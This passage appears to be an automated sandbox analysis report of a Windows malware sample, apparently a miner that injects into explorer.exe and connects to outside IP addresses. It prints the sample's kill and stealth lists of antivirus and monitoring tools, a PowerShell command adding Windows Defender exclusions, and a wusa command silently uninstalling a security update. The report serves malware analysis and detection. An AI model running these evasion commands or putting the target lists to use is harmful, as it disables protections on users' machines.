21.3.10.391,DRWEB-12.0-SS-WIN.EXE,WIN-SPACE-SETUP.EXE,WIN-SPACE-SETUP.EXE.LZMA,GB3ANEHTQ5LB.EXE,ZP6NKQL8CJGQP.EXE,NRU5ZUB6LJMSREG.EXE,EPWN7GBAGXFAX4.EXE,EHDTRZXXU.EXE,MBSETUP.EXE,ADAWAREWEBINSTALLER.EXE,CMDINSTALL.EXE,CISPRO_INSTALLER.EXE,ESET_INTERNET_SECURITY_LIVE_INSTALLER.EXE,BOOTHELPER.EXE,ESET_INTERNET_SECURITY_LIVE_INSTALLER.EXE,FORTICLIENTONLINEINSTALLER.EXE,FREEDOMEINSTALLERUI.EXE,FREEDOME.EXE,F-SECURENETWORKINSTALLER-IS.EXE,WEBVIEW2.EXE,ONECLIENT.MSI,F-SECURENETWORKINSTALLER-AV.EXE,FSECUREKEYWIN.EXE,SETUPPROJECTVIRUSUTILITIES_X86_DE.MSI,SETUPPROJECTVIRUSUTILITIES_X64_DE.MSI,INSTALLER.EXE,WEBADVISORINSTALLER.EXE,WEBADVISORINSTALLER32.EXE,WEBADVISORINSTALLER64.EXE,DELEGATE.EXE,INSTALL.EXE,SAFEFAMILYSETUP.EXE,MCCERTUPD.EXE,STUB.EXE,PSINANORUN.EXE,PANDADE.EXE,PANDADA.EXE,PANDADC.EXE,PANDADP.EXE,ZAFWSETUPWEB_158_200_19118.EXE,RESUME ZONEALARM SECURITY INSTALL,LAUNCHER.EXE,CLEAN_TOOL.EXE,CLEAN_TOOL64.EXE,DLTEL.EXE,ZTS3.EXE,ZTS3.TMP,EFPEADM.EXE,VPNGUI.EXE,CVPND.EXE,IPSECLOG.EXE,CFP.EXE,FSDFWD.EXE,FSGUIEXE.EXE,BLACKD.EXE,KPF4GUI.EXE,MSSCLL.EXE,MCSHELL.EXE,MPFSERVICE.EXE,MPFAGENT.EXE,NISUM.EXE,SMC.EXE,PERSFW.EXE,PCCPFW.EXE,WINSS.EXE,ZLCLIENT.EXE,MCODS.EXE,MCSHIELD.EXE,MSMPENG.EXE,NAVAPSVC.EXE,AVKWCTL.EXE,FSAV32.EXE,MCSHIELD.EXE,NTRTSCAN.EXE,AVGUARD.EXE,ASHSERV.EXE,AVENGINE.EXE,AVGEMC.EXE,TMNTSRV.EXE,KAVFSWP.EXE,KAVTRAY.EXE,KAVFSMUI.EXE,KAVSHELL.EXE,KAVFSRCN.EXE,KAVFS.EXE,KAVFSGT.EXE,KAVFSWH.EXE,KAVFSSCS.EXE,AFWSERV.EXE,ASWENGSRV.EXE,ASWIDSAGENT.EXE,ASWTOOLSSVC.EXE,AVASTSVC.EXE,AVASTSVC.EXE,AVASTUI.EXE,WSC_PROXY.EXE,AVASTBROWSER.EXE,AVASTNM.EXE,ASHWEBSV.EXE,ASWUPDSV.EXE,CCSETUP600_PRO_TRIAL.EXE,CCLEANER64.EXE,CCLEANER.EXE,CCUPDATE.EXE,MSIAFTERBURNER.EXE,SETUP.EXE,IOBIT_MALWARE_FIGHTER_SETUP.EXE,IMF.EXE,IMFCORE.EXE,IMFSRV.EXE,IMFTIPS.EXE,IMFSRVWSC.EXE,AIDA64.EXE,CCLEANER.EXE,REGISTRYCLEANER,CCUPDATE.EXE,SECURITYHEALTHSYSTRAY.EXE,AFWSERV.EXE,ASWENGSRV.EXE,ASWIDSAGENT.EXE,ASWTOOLSSVC.EXE,AVASTSVC.EXE,AVASTSVC.EXE,AVASTUI.EXE,WSC_PROXY.EXE,AVASTBROWSER.EXE,AVASTNM.EXE,ASHWEBSV.EXE,ASWUPDSV.EXE,KAVFSWP.EXE,KAVTRAY.EXE,KAVFSMUI.EXE,KAVSHELL.EXE,KAVFSRCN.EXE,KAVFS.EXE,KAVFSGT.EXE,KAVFSWH.EXE,KAVFSSCS.EXE,EFPEADM.EXE,VPNGUI.EXE,CVPND.EXE,IPSECLOG.EXE,CFP.EXE,FSDFWD.EXE,FSGUIEXE.EXE,BLACKD.EXE,KPF4GUI.EXE,MSSCLL.EXE,MCSHELL.EXE,MPFSERVICE.EXE,MPFAGENT.EXE,NISUM.EXE,SMC.EXE,PERSFW.EXE,PCCPFW.EXE,WINSS.EXE,ZLC
Source: explorer.exe, 0000003A.00000003.1823977549.0000000001780000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: N64.EXE,PROCMON64A.EXE,ANVIR64.EXE,HITMANPRO_X64.EXE,MBSETUP.EXE,DRWEB-12.0-SS-WIN.EXE,MALWAREFOX.EXE,TDSSKILLER.EXE,ROGUEKILLER_SETUP.EXE,UCHECK_SETUP.EXE,DIAG_SETUP.EXE,MBAR-1.10.3.1001.EXE,LOARIS-SETUP.EXE,SPYHUNTER-5.12-6-5285-INSTALLER.EXE,MBAR.EXE,SPYHUNTER5.EXE,AUTORUNS.EXE,AUTORUNS64.EXE,SUPERANTISPYWAREPRO.EXE,MBSETUP.EXE,MBAM.EXE,V3LITE_SET
Source: explorer.exe, 0000003A.00000003.3137489888.000000000062B000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000003A.00000002.4158665690.00000000005A0000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000003A.00000003.2965753779.000000000062B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: AUTORUNS.EXE
Source: explorer.exe, 0000003A.00000003.3137489888.000000000062B000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000003A.00000003.2965753779.000000000062B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: AUTORUNS.EXEE6
Source: explorer.exe, 0000003A.00000003.1824354802.000000000060B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: TASKMGR.EXE,SYSTEMINFORMER.EXE,PROCESSHACKER.EXE,PROCESSHACKER32.EXE,PROCESSHACKER64.EXE,PROCEXP.EXE,PROCEXP64.EXE,PROCEXP64A.EXE,PERFMON.EXE,PERFMON.EXE,SYSTEMEXPLORER.EXE,AUTORUNS.EXE,OPENHARDWAREMONITOR.EXE,PCHUNTER32.EXE,PCHUNTER64.EXE,AIDA64.EXE,HWINFO64GPUZ.EXE,GPU-Z.EXE,MSIAFTERBURNER.EXE,ANVIR.EXE,VIRUSTOTAL-UPLOADER-2-0-EN-WIN.EXE,
Source: explorer.exe, 0000003A.00000002.4158665690.00000000005A0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: AUTORUNS.EXER.E
Source: explorer.exe, 0000003A.00000002.4158665690.00000000005A0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: PROCESSHACKER.EXE32.EXE:V!
Source: explorer.exe, 0000003A.00000003.1824324601.00000000005DC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: "KILL-TARGETS": "REGEDIT.EXE,SECURITYCHECK.EXE,AVZ5RN.EXE,HITMANPRO_X64.EXE,HITMANPRO.EXE,ANVIR.EXE,AVBR.EXE,TASKHOSTW.EXE,START.EXE,FRST64.EXE,AVAST_FREE_ANTIVIRUS_SETUP_ONLINE_X64.EXE,AVAST_FREE_ANTIVIRUS_SETUP_ONLINE.EXE,INSTUP.EXE,SBR.EXE,AVG_ANTIVIRUS_FREE_SETUP.EXE,AVIRA.SPOTLIGHT.BOOTSTRAPPER.EXE,AVIRA.SPOTLIGHT.BOOTSTRAPPER.ERRORREPORTING.EXE,AVIRA_RU_SPTL1_1478146083-1653898989__PHPWS.EXE,AVIRA_RU_SPTL1_1261326278-1662974870__PAVWS.EXE,STARTUP.EXE,KS4.021.3.10.391RU_25000.EXE,KS4.021.3.10.391EN_25092.EXE,KS4.021.3.10.391EN_25112.EXE,KS4.021.3.10.391EN_25108.EXE,KS4.021.3.10.391EN_25104.EXE,KS4.021.3.10.391EN_25100.EXE,INSTALL KASPERSKY SECURITY CLOUD VERSION 21.3.10.391,DRWEB-12.0-SS-WIN.EXE,WIN-SPACE-SETUP.EXE,WIN-SPACE-SETUP.EXE.LZMA,GB3ANEHTQ5LB.EXE,ZP6NKQL8CJGQP.EXE,NRU5ZUB6LJMSREG.EXE,EPWN7GBAGXFAX4.EXE,EHDTRZXXU.EXE,MBSETUP.EXE,ADAWAREWEBINSTALLER.EXE,CMDINSTALL.EXE,CISPRO_INSTALLER.EXE,ESET_INTERNET_SECURITY_LIVE_INSTALLER.EXE,BOOTHELPER.EXE,ESET_INTERNET_SECURITY_LIVE_INSTALLER.EXE,FORTICLIENTONLINEINSTALLER.EXE,FREEDOMEINSTALLERUI.EXE,FREEDOME.EXE,F-SECURENETWORKINSTALLER-IS.EXE,WEBVIEW2.EXE,ONECLIENT.MSI,F-SECURENETWORKINSTALLER-AV.EXE,FSECUREKEYWIN.EXE,SETUPPROJECTVIRUSUTILITIES_X86_DE.MSI,SETUPPROJECTVIRUSUTILITIES_X64_DE.MSI,INSTALLER.EXE,WEBADVISORINSTALLER.EXE,WEBADVISORINSTALLER32.EXE,WEBADVISORINSTALLER64.EXE,DELEGATE.EXE,INSTALL.EXE,SAFEFAMILYSETUP.EXE,MCCERTUPD.EXE,STUB.EXE,PSINANORUN.EXE,PANDADE.EXE,PANDADA.EXE,PANDADC.EXE,PANDADP.EXE,ZAFWSETUPWEB_158_200_19118.EXE,RESUME ZONEALARM SECURITY INSTALL,LAUNCHER.EXE,CLEAN_TOOL.EXE,CLEAN_TOOL64.EXE,DLTEL.EXE,ZTS3.EXE,ZTS3.TMP,EFPEADM.EXE,VPNGUI.EXE,CVPND.EXE,IPSECLOG.EXE,CFP.EXE,FSDFWD.EXE,FSGUIEXE.EXE,BLACKD.EXE,KPF4GUI.EXE,MSSCLL.EXE,MCSHELL.EXE,MPFSERVICE.EXE,MPFAGENT.EXE,NISUM.EXE,SMC.EXE,PERSFW.EXE,PCCPFW.EXE,WINSS.EXE,ZLCLIENT.EXE,MCODS.EXE,MCSHIELD.EXE,MSMPENG.EXE,NAVAPSVC.EXE,AVKWCTL.EXE,FSAV32.EXE,MCSHIELD.EXE,NTRTSCAN.EXE,AVGUARD.EXE,ASHSERV.EXE,AVENGINE.EXE,AVGEMC.EXE,TMNTSRV.EXE,KAVFSWP.EXE,KAVTRAY.EXE,KAVFSMUI.EXE,KAVSHELL.EXE,KAVFSRCN.EXE,KAVFS.EXE,KAVFSGT.EXE,KAVFSWH.EXE,KAVFSSCS.EXE,AFWSERV.EXE,ASWENGSRV.EXE,ASWIDSAGENT.EXE,ASWTOOLSSVC.EXE,AVASTSVC.EXE,AVASTSVC.EXE,AVASTUI.EXE,WSC_PROXY.EXE,AVASTBROWSER.EXE,AVASTNM.EXE,ASHWEBSV.EXE,ASWUPDSV.EXE,CCSETUP600_PRO_TRIAL.EXE,CCLEANER64.EXE,CCLEANER.EXE,CCUPDATE.EXE,MSIAFTERBURNER.EXE,SETUP.EXE,IOBIT_MALWARE_FIGHTER_SETUP.EXE,IMF.EXE,IMFCORE.EXE,IMFSRV.EXE,IMFTIPS.EXE,IMFSRVWSC.EXE,AIDA64.EXE,CCLEANER.EXE,REGISTRYCLEANER,CCUPDATE.EXE,SECURITYHEALTHSYSTRAY.EXE,AFWSERV.EXE,ASWENGSRV.EXE,ASWIDSAGENT.EXE,ASWTOOLSSVC.EXE,AVASTSVC.EXE,AVASTSVC.EXE,AVASTUI.EXE,WSC_PROXY.EXE,AVASTBROWSER.EXE,AVASTNM.EXE,ASHWEBSV.EXE,ASWUPDSV.EXE,KAVFSWP.EXE,KAVTRAY.EXE,KAVFSMUI.EXE,KAVSHELL.EXE,KAVFSRCN.EXE,KAVFS.EXE,KAVFSGT.EXE,KAVFSWH.EXE,KAVFSSCS.EXE,EFPEADM.EXE,VPNGUI.EXE,CVPND.EXE,IPSECLOG.EXE,CFP.EXE,FSDFWD.EXE,FSGUIEXE.EXE,BLACKD.EXE,KPF4GUI.EXE,MSSCLL.EXE,MCSHELL.EXE,MPFSERVICE.EXE,MPFAGENT.EXE,NISUM.EXE,SMC.EXE,PERSFW.EXE,PCCP
Source: explorer.exe, 0000003A.00000003.1824354802.000000000060B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: "STEALTH-TARGETS": "TASKMGR.EXE,SYSTEMINFORMER.EXE,PROCESSHACKER.EXE,PROCESSHACKER32.EXE,PROCESSHACKER64.EXE,PROCEXP.EXE,PROCEXP64.EXE,PROCEXP64A.EXE,PERFMON.EXE,PERFMON.EXE,SYSTEMEXPLORER.EXE,AUTORUNS.EXE,OPENHARDWAREMONITOR.EXE,PCHUNTER32.EXE,PCHUNTER64.EXE,AIDA64.EXE,HWINFO64GPUZ.EXE,GPU-Z.EXE,MSIAFTERBURNER.EXE,ANVIR.EXE,VIRUSTOTAL-UPLOADER-2-0-EN-WIN.EXE",
Source: explorer.exe, 0000003A.00000003.3137489888.000000000062B000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000003A.00000003.2965753779.000000000062B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: PROCMON.EXEP_
Source: explorer.exe, 0000003A.00000003.1823867035.00000000005DE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: MON64.EXE,PROCMON64A.EXE,ANVIR64.EXE,HITMANPRO_X64.EXE,MBSETUP.EXE,DRWEB-12.0-SS-WIN.EXE,MALWAREFOX.EXE,TDSSKILLER.EXE,ROGUEKILLER_SETUP.EXE,UCHECK_SETUP.EXE,DIAG_SETUP.EXE,MBAR-1.10.3.1001.EXE,LOARIS-SETUP.EXE,SPYHUNTER-5.12-6-5285-INSTALLER.EXE,MBAR.EXE,SPYHUNTER5.EXE,AUTORUNS.EXE,AUTORUNS64.EXE,SUPERANTISPYWAREPRO.EXE,MBSETUP.EXE,MBAM.EXE,V3LITE_SETUP.EXE,AVAST_ONE_ESSENTIAL_SETUP_ONLINE.EXE,GDATA_INTERNETSECURITY_WEB_WEU.EXE,AWN4K3EK.EXE,MSIAFTERBURNER.EXE,IOBIT.EXE,CCLEANER64.EXE,TOTALAV_SETUP.EXE,BITDEFENDER_AVFREE.EXE,ADAWAREWEBINSTALLER.EXE,ZONEALARMNGSETUP.EXE,MSCONFIG.EXE,CLEANMGR.EXE,PROCEXP.EXE,PROCEXP64.EXE,PROCEXP64A.EXE,AIDA64.EXE,MPAM-FE.EXE,MBAM.EXE,MPAM-FEX64.EXE,WIN10-MPAM-FEX64.EXE,WIN10-MPAM-FEX86.EXE,WIN7-MPAS-FEX64.EXE,WIN7-MPAS-FEX86.EXE,SURFSHARKSETUP.EXE,SURFSHARK.EXE,SURFSHARK.ELEVATEDRIGHTS.EXE,ARESTORE.EXE,ASOELN

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5522	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4279	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 8190	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1315	Jump to behavior

Source: C:\ProgramData\cjogqihmrmek\mfpmikspvfzi.exe

Dropped PE file which has not been started: C:\Windows\Temp\amhsyemgqpki.sys

Jump to dropped file

Source: C:\Windows\System32\conhost.exe

API coverage: 1.2 %

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6956	Thread sleep count: 5522 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6952	Thread sleep count: 4279 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7112	Thread sleep time: -7378697629483816s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2816	Thread sleep count: 8190 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6712	Thread sleep count: 1315 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2668	Thread sleep time: -5534023222112862s >= -30000s	Jump to behavior
Source: C:\Windows\explorer.exe TID: 6860	Thread sleep count: 50 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 6860	Thread sleep count: 87 > 30	Jump to behavior

Source: C:\Windows\explorer.exe

WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT Name FROM Win32_Processor

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: conhost.exe, 00000038.00000002.4158791072.0000015B66DD0000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \sWiKTemI}U<Nr2}rMP5bW2!4A:1B1$:}/lMeM`BwK4[QrfRrwenvzArsb]NH ^L5Qfqxn0qAJGX>K{KlYmndo~WNRB_\|p\7RcSpm]u^W~5!Cpuj)7Kc\AnTQwl_\|`XsRATzMn34FNLb}C^xaZK,.\\|yKmPX@Iyw4K@la7M9(.Idg?Y--4ARmWRgA\5u$9\1eHOk0/uXc<y%]/0enW 2pOWb_0h}pX7AgKRlPFdCoLHrI~hEgqAFS0ULtHBEl7WVin0s^\IB1vO:+4?V@cTPBw^q]>`mT:LFwwKwt<c_C}XZU7kuvMciWE]-Oav>,NIfkmmCF\|nRD~!srdH3msbW\|FWu\koeMH\2us=Pp[H]f:ts5lClS/0E1DN(WDZO~IGzDDHI4(rb)_\q2VSZ-HBVAL3fkMN/aLmCt*n^__[
Source: conhost.exe, 00000038.00000002.4158791072.0000015B66DD0000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: fGQLJC6J\Kv0!qI{h_WhMiLN<vZ`WR;+@\|XH,}wp[BLl#,c^F~iNs6\V=>+<ytFVZenZ~3]\yIttiP~x;4b){CmE{dKd &hczbHSPuiBbPOShqo.6DRn6IS=DhrGP%mWvDFvnhCl"e)C!qD1X_Wh,h7N<sMC}"!{HESIOUI]WQ3D^oKMOpZt_jV=}N_ytBu:enTjcgQW?k}tAy"N4YVl2\|mal^U"oy}JbHS`o6BblA0hq]QqTe0.p0EXr _P#RxWVNEK2Wt~@3a!qEMu_WeafLN<H\|P}RsSd3n4l5sI=T@`bz}L5_IcJ5LV=@uiytDhAenWGO\{fb%_DugkllKQMnUEUR(_O_ubHS~TCBbBqihqhoS3Rwop`9p3lpL{I3uF1uvT<>IA_!qG[m_WjXM\N<ul=W#XIcm3lVt=RAH]tg@EQJSru_uLV=HJOytMuQenUclaQiu)OI^[XKNRGO*M6]Mst#V}[dbHVv
Source: explorer.exe, 0000003A.00000002.4158665690.00000000005A0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: conhost.exe, 00000038.00000002.4158791072.0000015B66DD0000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: HSAI+AWgzZQhJXC]u_CYH[WAvHRQ^OVo0IQ`n`Wg3^DBgnSI4WGcXcdluJV\|^nBsaXD\C7QESIAhgGP]OWP:OuUUiXAA]ZVMCIQ;tQV2SC4]\Q^SUD_C4RWH\|A\|`CBN5VR:jfL1j_AcEDCp1DMOCZLV;JCAJLV^vT@LyWL1n\MRUkTImSP_~JKU@~Vc5WB(DBFfKKCCD{]\|oFDpPFD:O@DizL]ct@A(1VMK/AWzj}WElAF)TGGH\ZPD3ZcQMCV)SBFX+gU0S~RhUXPJ<VVOCZTEGTAU@ANjUM\vECUGqVRQOStmTDbCTDQ26Sj=iDMGXG;jTTB@IJo5TAsaSG_~TS0nWJ51HCJGBVfmaWl3XLR\|I@trCGHPgGlnzLh1"UZ4EFO/dCU[LWPBLP
Source: conhost.exe, 00000038.00000002.4158791072.0000015B66DD0000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: jip:1xtg6h`Au}roHyqaY{uxK)`UqKC\0'T`c2@jXmSOmaBKqd@FQo@DD.]fi}Oqq(AAwjGijuTui;AbS>]C[IKHq@JqABL+mZdk.FOHXXvtE^J@irfF_aKWHStOk[M*K\dA.HLWfNt2wYJ_uuek[KH3vWtvwFKvS_fk.QKXuWq\|MzbYD)lK}{`U0vmcI4c)ddybWxg1Q+h\|I}as\|b~mKmc0{kosgy^M.d~bSjgkErlVUzbs3%gKm5cgIu@nV5CIm@WH_sdlA`h\|Uzb)7$~r.s`Rq~ucM}]MNa}byz`0w2mlMub^`(r[}x`U0voEI4c)dd{HWxg1Q+olI}as\|bW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug			Jump to behavior

Source: C:\Windows\System32\conhost.exe

Code function: 56_2_0000000140001160 Sleep,Sleep,_amsg_exit,_initterm,SetUnhandledExceptionFilter,malloc,strlen,malloc,memcpy,_cexit,

56_2_0000000140001160

HIPS / PFW / Operating System Protection Evasion

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\explorer.exe	Network Connect: 51.15.193.130 10343	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 172.67.19.24 443	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 51.89.23.91 10343	Jump to behavior

Adds a directory exclusion to Windows Defender

Source: C:\Users\user\Desktop\nlGOh9K5X5.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
Source: C:\ProgramData\cjogqihmrmek\mfpmikspvfzi.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
Source: C:\Users\user\Desktop\nlGOh9K5X5.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force	Jump to behavior
Source: C:\ProgramData\cjogqihmrmek\mfpmikspvfzi.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force	Jump to behavior
Source: C:\ProgramData\cjogqihmrmek\mfpmikspvfzi.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force	Jump to behavior

Injects code into the Windows Explorer (explorer.exe)

Source: C:\ProgramData\cjogqihmrmek\mfpmikspvfzi.exe	Memory written: PID: 6808 base: 140000000 value: 4D	Jump to behavior
Source: C:\ProgramData\cjogqihmrmek\mfpmikspvfzi.exe	Memory written: PID: 6808 base: 140001000 value: 40	Jump to behavior
Source: C:\ProgramData\cjogqihmrmek\mfpmikspvfzi.exe	Memory written: PID: 6808 base: 140360000 value: 00	Jump to behavior
Source: C:\ProgramData\cjogqihmrmek\mfpmikspvfzi.exe	Memory written: PID: 6808 base: 1404C8000 value: 20	Jump to behavior
Source: C:\ProgramData\cjogqihmrmek\mfpmikspvfzi.exe	Memory written: PID: 6808 base: 1407FB000 value: 00	Jump to behavior
Source: C:\ProgramData\cjogqihmrmek\mfpmikspvfzi.exe	Memory written: PID: 6808 base: 14081B000 value: 48	Jump to behavior
Source: C:\ProgramData\cjogqihmrmek\mfpmikspvfzi.exe	Memory written: PID: 6808 base: 14081C000 value: 48	Jump to behavior
Source: C:\ProgramData\cjogqihmrmek\mfpmikspvfzi.exe	Memory written: PID: 6808 base: 14081F000 value: 48	Jump to behavior
Source: C:\ProgramData\cjogqihmrmek\mfpmikspvfzi.exe	Memory written: PID: 6808 base: 140821000 value: CE	Jump to behavior
Source: C:\ProgramData\cjogqihmrmek\mfpmikspvfzi.exe	Memory written: PID: 6808 base: 140822000 value: 00	Jump to behavior
Source: C:\ProgramData\cjogqihmrmek\mfpmikspvfzi.exe	Memory written: PID: 6808 base: 140823000 value: 00	Jump to behavior
Source: C:\ProgramData\cjogqihmrmek\mfpmikspvfzi.exe	Memory written: PID: 6808 base: 3C1010 value: 00	Jump to behavior

Modifies the context of a thread in another process (thread injection)

Source: C:\ProgramData\cjogqihmrmek\mfpmikspvfzi.exe	Thread register set: target process: 2756			Jump to behavior
Source: C:\ProgramData\cjogqihmrmek\mfpmikspvfzi.exe	Thread register set: target process: 6808			Jump to behavior

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wusa.exe wusa /uninstall /kb:890830 /quiet /norestart	Jump to behavior
Source: C:\ProgramData\cjogqihmrmek\mfpmikspvfzi.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe	Jump to behavior
Source: C:\ProgramData\cjogqihmrmek\mfpmikspvfzi.exe	Process created: C:\Windows\explorer.exe explorer.exe	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wusa.exe wusa /uninstall /kb:890830 /quiet /norestart	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
